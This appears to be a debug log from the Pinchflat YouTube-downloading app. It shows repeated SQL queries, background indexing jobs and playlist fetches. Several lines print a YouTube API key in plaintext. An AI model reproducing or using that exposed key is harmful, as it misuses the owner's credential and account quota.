idle=120.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 17:56:38.947 [debug] QUERY OK source="media_items" db=0.4ms idle=121.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:56:38.948 [debug] QUERY OK source="tasks" db=0.1ms idle=116.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800315, 12, ~U[2026-02-10 23:56:38Z], ~U[2026-02-10 23:56:38Z]] 17:56:38.948 [info] {"args":{"id":12},"id":3800276,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":233351,"event":"job:stop","queue_time":412162,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:39.716 [info] {"args":{"id":28},"id":3800277,"meta":{},"system_time":1770767799716732441,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:39.716 [info] {"args":{"id":27},"id":3800278,"meta":{},"system_time":1770767799716770932,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:39.717 [debug] QUERY OK source="sources" db=0.2ms idle=768.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:56:39.717 [debug] QUERY OK source="sources" db=0.2ms idle=768.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 17:56:39.717 [debug] QUERY OK source="settings" db=0.0ms idle=762.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:39.717 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:39.717 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:39.717 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:39.717 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:39.717 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:56:39.717 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:39.717 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:56:39.717 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:39.717 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:39.717 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:39.717 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:39.814 [debug] QUERY OK source="media_items" db=0.8ms idle=95.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 17:56:39.815 [debug] QUERY OK source="media_items" db=0.3ms idle=97.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:56:39.816 [debug] QUERY OK source="tasks" db=0.1ms idle=98.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800316, 28, ~U[2026-02-10 23:56:39Z], ~U[2026-02-10 23:56:39Z]] 17:56:39.816 [info] {"args":{"id":28},"id":3800277,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99779,"event":"job:stop","queue_time":547661,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:39.924 [debug] QUERY OK source="media_items" db=0.6ms idle=107.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 17:56:39.925 [debug] QUERY OK source="media_items" db=0.7ms idle=108.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:56:39.926 [debug] QUERY OK source="tasks" db=0.0ms idle=103.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800317, 27, ~U[2026-02-10 23:56:39Z], ~U[2026-02-10 23:56:39Z]] 17:56:39.926 [info] {"args":{"id":27},"id":3800278,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":209793,"event":"job:stop","queue_time":361126,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:41.719 [info] {"args":{"id":16},"id":3800279,"meta":{},"system_time":1770767801719704106,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:41.720 [debug] QUERY OK source="sources" db=0.1ms idle=1793.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:56:41.720 [debug] QUERY OK source="settings" db=0.1ms idle=1787.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:41.720 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:41.720 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:41.720 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:56:41.720 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:41.720 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:41.888 [debug] QUERY OK source="media_items" db=0.5ms idle=167.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 17:56:41.889 [debug] QUERY OK source="media_items" db=0.8ms idle=168.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:56:41.890 [debug] QUERY OK source="tasks" db=0.1ms idle=169.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800318, 16, ~U[2026-02-10 23:56:41Z], ~U[2026-02-10 23:56:41Z]] 17:56:41.890 [info] {"args":{"id":16},"id":3800279,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":170925,"event":"job:stop","queue_time":384330,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:42.721 [info] {"args":{"id":43},"id":3800280,"meta":{},"system_time":1770767802721643454,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:42.722 [debug] QUERY OK source="sources" db=0.1ms idle=831.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:56:42.722 [debug] QUERY OK source="settings" db=0.1ms idle=831.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:42.722 [debug] QUERY OK source="media_profiles" db=0.1ms idle=825.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:42.722 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:42.722 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:56:42.722 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:42.722 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:56:42.907 [debug] QUERY OK source="media_items" 